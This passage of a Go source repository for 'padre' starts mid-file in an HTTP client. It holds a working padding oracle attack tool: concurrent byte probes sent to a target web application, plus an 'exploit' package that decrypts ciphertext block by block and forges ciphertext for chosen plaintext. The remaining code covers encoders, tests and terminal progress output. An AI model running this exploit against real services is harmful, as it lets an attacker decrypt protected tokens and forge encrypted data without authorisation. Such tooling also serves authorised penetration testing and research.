		URL:    url,
		Header: http.Header{},
	}

	// upgrade to POST if data is provided
	if c.POSTdata != "" {
		// perform data for POST body
		req.Method = "POST"
		data := replacePlaceholder(c.POSTdata, c.CipherPlaceholder, cipherEncoded)
		req.Body = ioutil.NopCloser(strings.NewReader(data))

		// set content type
		req.Header["Content-Type"] = []string{c.ContentType}
	}

	// add cookies if any
	if c.Cookies != nil {
		for _, cookie := range c.Cookies {
			// add cookies
			req.AddCookie(&http.Cookie{
				Name:  cookie.Name,
				Value: replacePlaceholder(cookie.Value, c.CipherPlaceholder, cipherEncoded),
			})
		}
	}

	// add context if passed
	if ctx != nil {
		req = req.WithContext(ctx)
	}

	// send request
	resp, err := c.HTTPclient.Do(req)
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()

	// report about made request to status
	if c.RequestEventChan != nil {
		c.RequestEventChan <- 1
	}

	// read body
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return nil, err
	}

	return &Response{StatusCode: resp.StatusCode, Body: body}, nil
}


================================================
FILE: pkg/client/client_test.go
================================================
package client

import (
	"context"
	"io/ioutil"
	"net/http"
	"net/http/httptest"
	"net/url"
	"testing"

	"github.com/glebarez/padre/pkg/encoder"
	"github.com/glebarez/padre/pkg/util"
	"github.com/stretchr/testify/require"
)

func TestClient_DoRequest(t *testing.T) {
	// require start here
	require := require.New(t)

	// channel to propagate requests
	requestChan := make(chan *http.Request, 1)

	// special handler for propagating the channel
	handler := func(w http.ResponseWriter, r *http.Request) {
		// propagate received request
		requestChan <- r

		// copy request body into the response
		responseBody, err := ioutil.ReadAll(r.Body)
		require.NoError(err)

		// fill the response writer
		_, err = w.Write(responseBody)
		require.NoError(err)
	}

	// new test server
	ts := httptest.NewServer(http.HandlerFunc(handler))
	defer ts.Close()

	// mock http client
	requestEventChan := make(chan byte, 1)

	// chose encoder
	encoder := encoder.NewB64encoder("")

	// create test client
	testURI := "/?data=$"

	client := &Client{
		HTTPclient:        ts.Client(),
		URL:               ts.URL + testURI,
		POSTdata:          "data=$",
		Cookies:           []*http.Cookie{{Name: "key", Value: "$"}},
		CipherPlaceholder: "$",
		Encoder:           encoder,
		Concurrency:       1,
		ContentType:       "cont/type",
		RequestEventChan:  requestEventChan,
	}

	// total requests to be sent
	totalRequestCount := 100

	// counter for received requests
	totalRequestsReceived := 0

	// send some requests with random data
	for i := 0; i < totalRequestCount; i++ {
		// generate random chunk
		data := util.RandomSlice(13)
		dataEncoded := encoder.EncodeToString(data)

		// send
		response, err := client.DoRequest(context.Background(), data)
		require.NoError(err)

		// retrieve request event
		totalRequestsReceived += int(<-requestEventChan)

		// retrieve request that was sent to mocked http client
		request := <-requestChan

		// check URL formed properly
		require.Equal(replacePlaceholder(testURI, "$", dataEncoded), request.RequestURI)

		// check Body formed properly
		require.Equal(replacePlaceholder(client.POSTdata, "$", dataEncoded), string(response.Body))

		// check Cookie formed properly
		cookie, err := request.Cookie("key")
		require.NoError(err)
		require.Equal(url.QueryEscape(dataEncoded), cookie.Value)

		// check content type
		require.Equal(request.Header.Get("Content-Type"), "cont/type")

	}

	// check total requests reported
	require.Equal(totalRequestCount, totalRequestsReceived)
}

func TestClient_BrokenURL(t *testing.T) {
	client := &Client{URL: " http://foo.com", Encoder: encoder.NewB64encoder("")}
	_, err := client.DoRequest(context.Background(), []byte{})
	require.Error(t, err)
}

func TestClient_NotRespondingServer(t *testing.T) {
	client := &Client{
		HTTPclient: http.DefaultClient,
		URL:        "http://localhost:1",
		Encoder:    encoder.NewB64encoder(""),
	}
	_, err := client.DoRequest(context.Background(), []byte{})
	require.Error(t, err)
}


================================================
FILE: pkg/client/probe.go
================================================
package client

import (
	"context"
	"sync"
)

// equals to 2**8, since we're testing every possible value of a byte
const probeCount = 256

// ProbeResult - result of probe
type ProbeResult struct {
	Byte     byte
	Response *Response
	Err      error
}

// SendProbes -  given a chunk of bytes, place every possible byte-value at specified position.
// These probes are sent concurrently over HTTP.
// The results will be written into chanResult channel
func (client *Client) SendProbes(ctx context.Context, chunk []byte, pos int, chanResult chan *ProbeResult) {
	// send byte values into this
	chanIn := make(chan byte, probeCount)

	/* run workers */
	wg := sync.WaitGroup{}
	for i := 0; i < client.Concurrency; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()

			// copy chunk to produce local concurrent-safe copy
			chunkCopy := copySlice(chunk)

			// do the work
			for {
				select {
				case <-ctx.Done():
					// early exit if context is cancelled
					return
				case b, ok := <-chanIn:
					// exit when input channel exhausted
					if !ok {
						return
					}

					// modify byte at given position
					chunkCopy[pos] = b

					// make HTTP request
					resp, err := client.DoRequest(ctx, chunkCopy)
					if ctx.Err() == context.Canceled {
						return
					}

					if err != nil {
						// error during HTTP request
						chanResult <- &ProbeResult{
							Byte: b,
							Err:  err,
						}
					} else {
						// send response
						chanResult <- &ProbeResult{
							Byte:     b,
							Response: resp,
						}
					}
				}
			}
		}()
	}

	/* close output channel when workers are done */
	go func() {
		wg.Wait()
		close(chanResult)
	}()

	/* input generator: every possible byte value */
	go func() {
		for i := 0; i <= 0xff; i++ {
			chanIn <- byte(i)
		}
		close(chanIn)
	}()
}


================================================
FILE: pkg/client/probe_test.go
================================================
package client

import (
	"context"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/http/httptest"
	"net/url"
	"testing"

	"github.com/glebarez/padre/pkg/encoder"
	"github.com/glebarez/padre/pkg/util"
	"github.com/stretchr/testify/require"
)

func TestClient_SendProbes(t *testing.T) {
	reqBodyChan := make(chan []byte, 1)

	// special handler for propagating request body into channel
	handler := func(w http.ResponseWriter, r *http.Request) {
		// copy request body into the response
		body, err := ioutil.ReadAll(r.Body)
		require.NoError(t, err)
		reqBodyChan <- body
		fmt.Fprintln(w, "grabbed")
	}

	// new test server
	ts := httptest.NewServer(http.HandlerFunc(handler))
	defer ts.Close()

	// chose encoder
	encoder := encoder.NewB64encoder("")

	// create test client
	testURI := "/"

	client := &Client{
		HTTPclient:        ts.Client(),
		URL:               ts.URL + testURI,
		POSTdata:          "$",
		CipherPlaceholder: "$",
		Encoder:           encoder,
		Concurrency:       1,
	}

	// generate random chunk
	data := util.RandomSlice(20)

	// test every position for a probe
	for pos := 0; pos < len(data); pos++ {
		// create channel for probe results
		chanProbeResult := make(chan *ProbeResult, 1)

		// send probes
		go client.SendProbes(context.Background(), data, pos, chanProbeResult)

		// get probe result
		for probeResult := range chanProbeResult {
			require.NoError(t, probeResult.Err)

			// derive expected probe data
			expectedProbe := copySlice(data)
			expectedProbe[pos] = probeResult.Byte

			// derive made probe data
			// get request body received by the test server
			requestBody, err := url.QueryUnescape(string(<-reqBodyChan))
			require.NoError(t, err)

			madeProbe, err := encoder.DecodeString(requestBody)
			require.NoError(t, err)

			// compare the two
			require.Equal(t, expectedProbe, madeProbe)
		}
	}
}


================================================
FILE: pkg/client/response.go
================================================
package client

// Response - HTTP Response data
type Response struct {
	StatusCode int
	Body       []byte
}


================================================
FILE: pkg/client/util.go
================================================
package client

import (
	"net/url"
	"strings"
)

// replace all occurrences of $ placeholder in a string, url-encoded if desired
func replacePlaceholder(s, placeholder, replacement string) string {
	replacement = url.QueryEscape(replacement)
	return strings.Replace(s, placeholder, replacement, -1)
}

// creates copy of a slice
func copySlice(slice []byte) []byte {
	sliceCopy := make([]byte, len(slice))
	copy(sliceCopy, slice)
	return sliceCopy
}


================================================
FILE: pkg/color/color.go
================================================
package color

import (
	"os"
	"regexp"

	"github.com/fatih/color"
	"github.com/mattn/go-isatty"
)

var colorMatcher *regexp.Regexp

var Error = color.Error

func init() {
	// override the standard decision on No-color mode
	color.NoColor = os.Getenv("TERM") == "dumb" ||
		(!isatty.IsTerminal(os.Stderr.Fd()) && !isatty.IsCygwinTerminal(os.Stderr.Fd()))
	// matcher for coloring terminal sequences
	colorMatcher = regexp.MustCompile("\033\\[.*?m")
}

/* coloring stringers */
var (
	Red         = color.New(color.FgRed).SprintFunc()
	Bold        = color.New(color.Bold).SprintFunc()
	Yellow      = color.New(color.FgYellow).SprintFunc()
	RedBold     = color.New(color.FgRed, color.Bold).SprintFunc()
	CyanBold    = color.New(color.FgCyan, color.Bold).SprintFunc()
	Cyan        = color.New(color.FgCyan).SprintFunc()
	GreenBold   = color.New(color.FgGreen, color.Bold).SprintFunc()
	Green       = color.New(color.FgGreen).SprintFunc()
	HiGreenBold = color.New(color.FgHiGreen, color.Bold).SprintFunc()
	Underline   = color.New(color.Underline).SprintFunc()
	YellowBold  = color.New(color.FgYellow, color.Bold).SprintFunc()
)

// StripColor - strips ANSI color control characters from a string
func StripColor(s string) string {
	return colorMatcher.ReplaceAllString(s, "")
}

// TrueLen returns true length of a colorized string in characters
func TrueLen(s string) int {
	return len(StripColor(s))
}


================================================
FILE: pkg/color/color_test.go
================================================
package color

import "testing"

func TestTrueLen(t *testing.T) {
	type args struct {
		s string
	}
	tests := []struct {
		name string
		args args
		want int
	}{
		{"nocolor", args{""}, 0},
		{"nocolor", args{"x"}, 1},
		{"nocolor", args{"xxx"}, 3},
		{"colored", args{YellowBold("")}, 0},
		{"colored", args{YellowBold("x")}, 1},
		{"colored", args{YellowBold("xxx")}, 3},
	}
	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			if got := TrueLen(tt.args.s); got != tt.want {
				t.Errorf("TrueLen() = %v, want %v", got, tt.want)
			}
		})
	}
}


================================================
FILE: pkg/encoder/ascii.go
================================================
package encoder

import (
	"fmt"
	"strings"
)

// ASCII encoder
type asciiEncoder struct{}

// escapes non standard ASCII with \x notation
func (e asciiEncoder) EncodeToString(input []byte) string {
	output := strings.Builder{}
	for _, b := range input {
		if b >= 32 && b <= 127 {
			// ascii printable
			err := output.WriteByte(b)
			if err != nil {
				panic(err)
			}
		} else {
			_, err := output.WriteString(fmt.Sprintf("\\x%02x", b))
			if err != nil {
				panic(err)
			}
		}
	}
	return output.String()
}

// ... just to comply with interface
func (e asciiEncoder) DecodeString(input string) ([]byte, error) {
	panic("Not implemented")
}


================================================
FILE: pkg/encoder/ascii_test.go
================================================
package encoder

import (
	"testing"

	"github.com/stretchr/testify/require"
)

func Test_asciiEncoder_EncodeToString(t *testing.T) {
	e := NewASCIIencoder()

	type args struct {
		input []byte
	}
	tests := []struct {
		name string
		e    Encoder
		args args
		want string
	}{
		{"empty", e, args{[]byte(``)}, ``},
		{"nonascii", e, args{[]byte{0, 1, 255}}, `\x00\x01\xff`},
		{"ascii", e, args{[]byte(`test`)}, `test`},
	}
	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			e := asciiEncoder{}
			if got := e.EncodeToString(tt.args.input); got != tt.want {
				t.Errorf("asciiEncoder.EncodeToString() = %v, want %v", got, tt.want)
			}
		})
	}
}

func Test_asciiEncoder_DecodeString(t *testing.T) {
	e := &asciiEncoder{}

	decode := func() {
		e.DecodeString("") //nolint
	}

	require.Panicsf(t, decode, "", "")

}


================================================
FILE: pkg/encoder/factory.go
================================================
package encoder

import "encoding/base64"

func NewB64encoder(replacements string) Encoder {
	return newEncoderWithReplacer(base64.StdEncoding, replacements)
}

func NewLHEXencoder(replacements string) Encoder {
	return newEncoderWithReplacer(&lhexEncoder{}, replacements)
}

func NewASCIIencoder() Encoder {
	return &asciiEncoder{}
}


================================================
FILE: pkg/encoder/hex.go
================================================
package encoder

import "encoding/hex"

// lowercase hex encoder/decoder
type lhexEncoder struct{}

func (h *lhexEncoder) EncodeToString(input []byte) string {
	return hex.EncodeToString(input)
}

func (h *lhexEncoder) DecodeString(input string) ([]byte, error) {
	return hex.DecodeString(input)
}


================================================
FILE: pkg/encoder/interface.go
================================================
package encoder

// Encoder - performs encoding/decoding
type Encoder interface {
	EncodeToString([]byte) string
	DecodeString(string) ([]byte, error)
}

// DecodeError ...
type DecodeError string

func (e DecodeError) Error() string { return string(e) }


================================================
FILE: pkg/encoder/replacer.go
================================================
package encoder

import (
	"strings"

	"github.com/glebarez/padre/pkg/util"
)

/* wrapper for encoderDecoder with characters replacements */
type encoderWithReplacer struct {
	encoder                Encoder
	replacerAfterEncoding  *strings.Replacer
	replacerBeforeDecoding *strings.Replacer
}

// encode with replacement
func (r *encoderWithReplacer) EncodeToString(input []byte) string {
	encoded := r.encoder.EncodeToString(input)
	return r.replacerAfterEncoding.Replace(encoded)
}

// decode with replacement
func (r *encoderWithReplacer) DecodeString(input string) ([]byte, error) {
	encoded := r.replacerBeforeDecoding.Replace(input)
	decoded, err := r.encoder.DecodeString(encoded)
	if err != nil {
		return nil, err
	}
	return decoded, nil
}

// wrapper creator
func newEncoderWithReplacer(encoder Encoder, replacements string) Encoder {
	return &encoderWithReplacer{
		encoder:                encoder,
		replacerAfterEncoding:  strings.NewReplacer(strings.Split(replacements, "")...),
		replacerBeforeDecoding: strings.NewReplacer(strings.Split(util.ReverseString(replacements), "")...),
	}
}


================================================
FILE: pkg/encoder/replacer_test.go
================================================
package encoder

import (
	"encoding/base64"
	"strings"
	"testing"

	"github.com/glebarez/padre/pkg/util"
	"github.com/stretchr/testify/require"
)

func TestReplacer(t *testing.T) {

	// test cases
	tests := []struct {
		name        string
		encoder     Encoder
		replFactory func(replacements string) Encoder
		replString  string
	}{
		{"b64", base64.StdEncoding, NewB64encoder, `=~/!+^`},
		{"lhex", &lhexEncoder{}, NewLHEXencoder, `0zfyeT`},
	}

	// run tests
	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			// generate random byte string
			byteData := util.RandomSlice(20)

			// encode with basic encoder
			encodedData := tt.encoder.EncodeToString(byteData)

			// replace characters
			encodedData = strings.NewReplacer(strings.Split(tt.replString, "")...).Replace(encodedData)

			// compare results
			replacer := tt.replFactory(tt.replString)
			require.Equal(t, replacer.EncodeToString(byteData), encodedData)

			// decode back and compare
			decoded, err := replacer.DecodeString(encodedData)
			require.NoError(t, err)
			require.Equal(t, decoded, byteData)

			// try decoding corrupted string
			_, err = replacer.DecodeString(string(encodedData[:len(encodedData)-1]))
			require.Error(t, err)
		})
	}
}


================================================
FILE: pkg/exploit/decrypt.go
================================================
package exploit

import "fmt"

func (p *Padre) Decrypt(ciphertext []byte, byteStream chan byte) ([]byte, error) {
	blockLen := p.BlockLen

	// check length of ciphertext against block length
	if len(ciphertext)%blockLen != 0 {
		return nil, fmt.Errorf("Ciphertext length is not compatible with block length (%d %% %d != 0)", len(ciphertext), blockLen)
	}

	// confirm validity of provided cipher
	pe, err := p.IsPaddingErrorInChunk(ciphertext)
	if err != nil {
		return nil, err
	}
	if pe {
		return nil, fmt.Errorf("Input cipher produced a padding error. You must provide a valid cipher to decrypt")
	}

	// count blocks
	blockCount := len(ciphertext) / blockLen

	// derive length of plaintext
	// NOTE: first block considered to be IV
	plainLen := len(ciphertext) - blockLen
	plainText := make([]byte, plainLen)

	// decrypt block by block moving backwards, except first (IV)
	for blockNum := blockCount; blockNum >= 2; blockNum-- {
		// mark indexes
		x := (blockNum - 2) * blockLen
		y := (blockNum - 1) * blockLen
		z := blockNum * blockLen

		// get cipher block and corresponding IV from ciphertext
		IV, block := ciphertext[x:y], ciphertext[y:z]

		// derive the nulling IV for the block
		nullingIV, err := p.breakCipher(block, newXORingStreamer(IV, byteStream))
		if err != nil {
			return nil, fmt.Errorf("error occurred while decrypting block %d: %w", blockNum, err)
		}

		// derive plaintext block
		copy(plainText[x:y], xorSlices(nullingIV, IV))
	}

	return plainText, nil
}


================================================
FILE: pkg/exploit/encrypt.go
================================================
package exploit

import (
	"fmt"

	"github.com/glebarez/padre/pkg/util"
)

func (p *Padre) Encrypt(plainText string, byteStream chan byte) ([]byte, error) {
	blockLen := p.BlockLen

	// pad
	plainText = Pkcs7Pad(plainText, blockLen)

	// count the blocks
	blockCount := len(plainText) / blockLen

	// initialize a slice that will contain our cipherText (blockCount + 1 for IV)
	cipher := make([]byte, (blockLen * (blockCount + 1)))

	// last block is generated randomly
	lastBlock := util.RandomSlice(blockLen)
	copy(cipher[len(cipher)-blockLen:], lastBlock)

	// the last block is already known, so we can fetch the bytes
	// NOTE: they are fetcher in reverse order, just like any other byte throughout this exploit
	if byteStream != nil {
		for i := len(lastBlock) - 1; i >= 0; i-- {
			byteStream <- lastBlock[i]
		}
	}

	/* Start with the last block and move towards the 1st block.
	Each block is used successively as a IV and then as a cipherText in the next iteration */
	for blockNum := blockCount; blockNum >= 1; blockNum-- {
		// mark indexes
		x := (blockNum - 1) * blockLen
		y := blockNum * blockLen
		z := (blockNum + 1) * blockLen

		plainBlock := []byte(plainText)[x:y]

		// get nulling IV
		nullingIV, err := p.breakCipher(cipher[y:z], newXORingStreamer(plainBlock, byteStream))
		if err != nil {
			return nil, fmt.Errorf("error occurred while encrypting block %d: %w", blockNum, err)
		}

		// reveal the cipher
		copy(cipher[x:y], xorSlices(plainBlock, nullingIV))
	}
	return cipher, nil
}


================================================
FILE: pkg/exploit/exploit.go
================================================
package exploit

/* implementation of Padding Oracle exploit algorithm */

import (
	"fmt"

	"github.com/glebarez/padre/pkg/util"
)

// breaks cipher for a given block of ciphertext
// returns bytes (NullingIV) that are turning underlying plaintext into null-byte sequence when sent as IV
// the NullingIV can then be used in encryption or decryption, depending on what you XOR it with
// the streamFetcher can be passed to deliver bytes in in real-time as soon as they discovered
func (p *Padre) breakCipher(cipherBlock []byte, byteStreamer func(byte)) ([]byte, error) {
	blockLen := len(cipherBlock)

	// output buffer
	output := make([]byte, blockLen)

	// generate chunk of cipher with prepended random IV
	cipherChunk := append(util.RandomSlice(blockLen), cipherBlock...)

	// we start with the last byte of IV
	// and repeat the same procedure for every byte moving backwards
	for pos := blockLen - 1; pos >= 0; pos-- {
		// discover the bytes that do not produce padding error
		// NOTE: at last position there may be 2 such bytes*/
		maxCount := 1
		if pos == blockLen-1 {
			maxCount = 2
		}

		found, err := p.getErrorlessByteValues(cipherChunk, pos, maxCount)
		if err != nil {
			return nil, err
		}

		/* check the results */
		var foundByte *byte
		switch len(found) {
		case 0:
			return nil, fmt.Errorf("failed to break the cipher")
		case 1:
			foundByte = &found[0]
		case 2:
			/* this case can ONLY happen in the last position of the block (see maxCount variable above)
			here, we found 2 bytes that fit without padding oracle error
			the challenge here is to find the one that produced \x01 in plaintext
			the trick is:
				if we modify second-last byte, and padding error still doesn't occur
				then we are sure, that found byte produces \x01 at last position of plaintext
			for more info, you can check this thread:
			https://crypto.stackexchange.com/questions/37608/clarification-on-the-origin-of-01-in-this-oracle-padding-attack
			*/

			// modify second-last byte of IV
			cipherChunk[pos-1]++

			// send additional probes
			for _, b := range found {
				// set last byte to one of the found
				cipherChunk[pos] = b

				// check for padding error
				paddingError, err := p.IsPaddingErrorInChunk(cipherChunk)
				if err != nil {
					return nil, err
				}

				if !paddingError {
					// we found the truly valid byte
					foundByte = &b
					break
				}
			}

			if foundByte == nil {
				return nil, fmt.Errorf("failed to decrypt due to unexpected server behavior")
			}
		}

		// XOR to retrieve output byte
		paddingValue := byte(blockLen - pos)
		outByte := *foundByte ^ paddingValue

		// write to output buffer
		output[pos] = outByte

		// fetch immediately into byteStreamer if provided
		if byteStreamer != nil {
			byteStreamer(outByte)
		}

		// adjust padding for next iteration
		cipherChunk[pos] = *foundByte
		for i := pos; i < blockLen; i++ {
			cipherChunk[i] ^= paddingValue ^ (paddingValue + 1)
		}
	}
	return output, nil
}


================================================
FILE: pkg/exploit/padre.go
================================================
package exploit

import (
	"github.com/glebarez/padre/pkg/client"
	"github.com/glebarez/padre/pkg/probe"
)

type Padre struct {
	Client   *client.Client
	Matcher  probe.PaddingErrorMatcher
	BlockLen int
}


================================================
FILE: pkg/exploit/probes.go
================================================
package exploit

import (
	"context"

	"github.com/glebarez/padre/pkg/client"
)

// detect byte values that do not produce padding error
// early-stop when maxCount of such bytes reached
func (p *Padre) getErrorlessByteValues(chunk []byte, pos int, maxCount int) ([]byte, error) {
	// the context 	will be cancelled upon returning from function
	ctx, cancel := context.WithCancel(context.Background())
	defer cancel()

	// container for bytes that do not produce padding error
	goodBytes := make([]byte, 0, maxCount)

	chanResult := make(chan *client.ProbeResult, 256)

	// do probing
	go p.Client.SendProbes(ctx, chunk, pos, chanResult)

	// process result
	for result := range chanResult {
		if result.Err != nil {
			return nil, result.Err
		}

		// test for padding error
		isErr, err := p.Matcher.IsPaddingError(result.Response)
		if err != nil {
			return nil, err
		}

		// collect the right bytes
		if !isErr {
			goodBytes = append(goodBytes, result.Byte)
			// early exit of maxCount reached
			if len(goodBytes) == maxCount {
				break
			}
		}
	}

	return goodBytes, nil
}

// test concrete chunk for padding oracle
func (p *Padre) IsPaddingErrorInChunk(chunk []byte) (bool, error) {
	// send
	resp, err := p.Client.DoRequest(context.Background(), chunk)
	if err != nil {
		return false, err
	}

	// test for padding oracle
	return p.Matcher.IsPaddingError(resp)
}


================================================
FILE: pkg/exploit/util.go
================================================
package exploit

import "strings"

// XORs 2 slices of bytes
func xorSlices(s1 []byte, s2 []byte) []byte {
	if len(s1) != len(s2) {
		panic("lengths of slices not equal")
	}

	output := make([]byte, len(s1))

	for i := 0; i < len(s1); i++ {
		output[i] = s1[i] ^ s2[i]
	}

	return output
}

func Pkcs7Pad(input string, blockLen int) string {
	padding := blockLen - len(input)%blockLen
	return input + strings.Repeat(string(byte(padding)), padding)
}

func newXORingStreamer(xorArg []byte, outChan chan byte) func(byte) {
	// position at last byte of xorArg slice
	pos := len(xorArg) - 1

	return func(input byte) {
		outChan <- (xorArg[pos] ^ input)
		pos--
	}
}


================================================
FILE: pkg/output/hackybar.go
================================================
package output

import (
	"fmt"
	"math/rand"
	"strings"
	"sync"
	"time"

	"github.com/glebarez/padre/pkg/color"
	"github.com/glebarez/padre/pkg/encoder"
)

// output refresh frequency (times/second)
const updateFreq = 13

// HackyBar is the dynamically changing bar in status line.
// The bar reflects current state of output calculation.
// Apart from currently calculated part of output, it also shows yet-unknown part as a random mix of ASCII characters.
// This bar is designed to be fun and fast-changing.
// It also shows HTTP-client performance in real-time, such as: total http requests sent, average RPS
type HackyBar struct {
	// output info
	printer       *Printer        // printer to use
	outputData    []byte          // container for byte-output
	outputByteLen int             // total number of bytes in output (before encoding)
	encoder       encoder.Encoder // encoder for the byte-output
	Overflow      bool            // flag: terminal width overflowed, data was too wide

	// communications
	ChanOutput chan byte      // delivering every byte of output via this channel
	ChanReq    chan byte      // to deliver indicator of yet-another http request made
	wg         sync.WaitGroup // used to wait for gracefull exit after stop signal sent

	// RPS calculation
	start        time.Time // the time of first request made, needed to properly calculate RPS
	requestsMade int       // total requests made, needed to calculate RPS
	rps          int       // RPS

	// the output properties
	autoUpdateFreq time.Duration // interval at which the bar must be updated
	encryptMode    bool          // whether encrypt mode is used
}

func CreateHackyBar(encoder encoder.Encoder, outputByteLen int, encryptMode bool, printer *Printer) *HackyBar {
	return &HackyBar{
		outputData:     []byte{},
		outputByteLen:  outputByteLen,
		wg:             sync.WaitGroup{},
		ChanOutput:     make(chan byte, 1),
		ChanReq:        make(chan byte, 256),
		autoUpdateFreq: time.Second / time.Duration(updateFreq),
		encoder:        encoder,
		encryptMode:    encryptMode,
		printer:        printer,
	}
}

// stops the bar
func (p *HackyBar) Stop() {
	close(p.ChanOutput)
	p.wg.Wait()
}

// starts the bar
func (p *HackyBar) Start() {
	go p.listenAndPrint()
}

/* designed to be run as goroutine.
collects information about current progress and then prints the info in HackyBar */
func (p *HackyBar) listenAndPrint() {
	var (
		// time since last print
		lastPrint time.Time

		// flag: output channel closed (no more data expected)
		outputChanClosed bool

		// counter for total output bytes received
		outputBytesReceived int
	)

	p.wg.Add(1)
	defer p.wg.Done()

	/* listen for incoming events */
	for {
		select {
		/* yet another output byte produced */
		case b, ok := <-p.ChanOutput:
			if ok {
				p.outputData = append([]byte{b}, p.outputData...) //TODO: optimize this
				outputBytesReceived++
			} else {
				outputChanClosed = true
			}

		/* yet another HTTP request was made. Update stats */
		case <-p.ChanReq:
			if p.requestsMade == 0 {
				p.start = time.Now()
			}
			p.requestsMade++

			secsPassed := int(time.Since(p.start).Seconds())
			if secsPassed > 0 {
				p.rps = p.requestsMade / int(secsPassed)
			}

		}

		// the final status print
		if outputChanClosed || outputBytesReceived == p.outputByteLen {
			// avoid hacky mode
			// this is because stop can be requested when some error happened,
			// it that case we don't need to noise the unprocessed part of output with hacky string
			statusString := p.buildStatusString(false)
			p.printer.Println(statusString)
			return
		}

		// usual output (still in progress)
		if time.Since(lastPrint) > p.autoUpdateFreq {
			statusString := p.buildStatusString(true)
			p.printer.Printcr(statusString)
			lastPrint = time.Now()
		}
	}
}

/* constructs full status string to be displayed */
func (p *HackyBar) buildStatusString(hacky bool) string {
	/* the hacky-bar string is comprised of following parts |unknownOutput|knownOutput|stats|
	- unknown output is the part of output that is not yet calculated, it is represented as 'hacky' string
	- known output is the part of output that is already calculated, it is represented as output, encoded with *p.encoder
	- stats
	*/

	/* generate unknown output */
	unprocessedLen := p.outputByteLen - len(p.outputData)
	if p.encryptMode {
		unprocessedLen = len(p.encoder.EncodeToString(make([]byte, unprocessedLen)))
	}
	unknownOutput := unknownString(unprocessedLen, hacky)

	/* generate known output */
	knownOutput := p.encoder.EncodeToString(p.outputData)

	/* generate stats */
	stats := fmt.Sprintf(
		"[%d/%d] | reqs: %d (%d/sec)", len(p.outputData), p.outputByteLen, p.requestsMade, p.rps)

	/* get available space */
	availableSpace := p.printer.AvailableWidth - len(stats) - 1 // -1 is for the space between output and stats
	if availableSpace < 5 {
		// a general fool-check
		panic("Your terminal is to narrow. Use a real one")
	}

	/* if we have enough space, the logic is simple */
	if availableSpace >= len(unknownOutput)+len(knownOutput) {
		output := unknownOutput + color.HiGreenBold(knownOutput)

		// pad with spaces to make stats always appear at the right edge of the screen
		output += strings.Repeat(" ", availableSpace-len(unknownOutput)-len(knownOutput))
		return fmt.Sprintf("%s %s", output, stats)
	}

	/* if we made it to here, we need to cut the output to fit into the available space
	the main idea is to choose the split-point - the poisition at which unknown output ends and known output starts */

	// at first, chose at 1/3 of available space
	splitPoint := availableSpace / 3

	// correct if knownOutput is too short yet
	if len(knownOutput) < availableSpace-splitPoint {
		splitPoint = availableSpace - len(knownOutput)
	} else if len(unknownOutput) < splitPoint {
		// correct if unknownOutput is too short
		splitPoint = len(unknownOutput)
	}

	// put ... into the end of knownOutput if it's too long
	if len(knownOutput) > availableSpace-splitPoint {
		knownOutput = knownOutput[:availableSpace-splitPoint-3] + `...`
		p.Overflow = true
	}

	outputString := unknownOutput[:splitPoint] + color.HiGreenBold(knownOutput)

	/* return the final string */
	return fmt.Sprintf("%s %s", outputString, stats)
}

/* generates string that represents the yet-unknown portion of output
when in 'hacky' mode, will produce random characters form ASCII printable range*/
func unknownString(n int, hacky bool) string {
	b := make([]byte, n)
	for i := range b {

		if hacky {
			b[i] = byte(rand.Intn(126-33) + 33) // byte from ASCII printable range
		} else {
			b[i] = '_'
		}
	}
	return string(b)
}


================================================
FILE: pkg/output/prefix.go
================================================
package output

import (
	"strings"

	"github.com/glebarez/padre/pkg/color"
)

const (
	space = ` `
)

// represents a current prefix
// the prefix allows for contexted printing
// the prefixes can be nested using outterPrefix attribute
// the top-most prefix has outterPrefix equal to nil
type prefix struct {
	prefix       string  // the prefix to be output
	indent       string  // indent to iutput on second+ lines of multiline outputs
	len          int     // length of prefix and indent
	lineFeeded   bool    // flag: line feeded (=true when first line was already output)
	outterPrefix *prefix // pointer to outter parent prefix
	paragraph    bool    // whether this prefix is paragraph
}

// renders prefix as string
func (p *prefix) string() string {
	var s string

	// form own prefix as string
	if p.lineFeeded && p.paragraph {
		s = p.indent
	} else {
		s = p.prefix + space
	}

	// add outter prefix (if any)
	if p.outterPrefix == nil {
		return s
	}
	return p.outterPrefix.string() + s
}

// sets lineFeeded flag
func (p *prefix) setLF() {
	p.lineFeeded = true
	if p.outterPrefix != nil {
		p.outterPrefix.setLF()
	}
}

// creates new prefix from string
func newPrefix(s string, outter *prefix, paragraph bool) *prefix {
	spaceTaken := color.TrueLen(s) + 1 // prefix + space
	return &prefix{
		prefix:       s,
		indent:       strings.Repeat(space, spaceTaken),
		len:          spaceTaken,
		outterPrefix: outter,
		paragraph:    paragraph,
	}
}


================================================
FILE: pkg/output/printer.go
================================================
package output

import (
	"fmt"
	"io"

	"github.com/glebarez/padre/pkg/color"
)

// some often used strings
const (
	_LF = "\n"           // LF Line feed
	_CR = "\x1b\x5b2K\r" // Clear Line + CR Carret return
)

// Printer is the printing facility
type Printer struct {
	Stream         io.Writer // the ultimate stream to print into
	AvailableWidth int       // available terminal width
	cr             bool      // flag: caret return requested on next print (= print on same line please)
	prefix         *prefix   // current  prefix to use
}

// base internal print, everyone else must build upon this
func (p *Printer) print(s string) {
	fmt.Fprint(p.Stream, s)
}

func (p *Printer) Print(s string) {
	// CR debt ?
	if p.cr {
		p.print(_CR)
		p.cr = false
	}

	// prefix
	if p.prefix != nil {
		p.print(p.prefix.string())
	}

	// print the contents
	p.print(s)
}

// AddPrefix adds one more prefix to current printer
func (p *Printer) AddPrefix(s string, paragraph bool) {
	p.prefix = newPrefix(s, p.prefix, paragraph)
	p.AvailableWidth -= p.prefix.len
}

func (p *Printer) RemovePrefix() {
	p.AvailableWidth += p.prefix.len
	p.prefix = p.prefix.outterPrefix
}

func (p *Printer) Println(s string) {
	p.Print(s)
	p.print(_LF)

	// set flag that line was feeded
	if p.prefix != nil {
		p.prefix.setLF()
	}
}

func (p *Printer) Printcr(s string) {
	p.Print(s)
	p.cr = true
}

func (p *Printer) Printf(format string, a ...interface{}) {
	p.Print(fmt.Sprintf(format, a...))
}

func (p *Printer) Printlnf(format string, a ...interface{}) {
	p.Println(fmt.Sprintf(format, a...))
}

func (p *Printer) Printcrf(format string, a ...interface{}) {
	p.Printcr(fmt.Sprintf(format, a...))
	p.cr = true
}

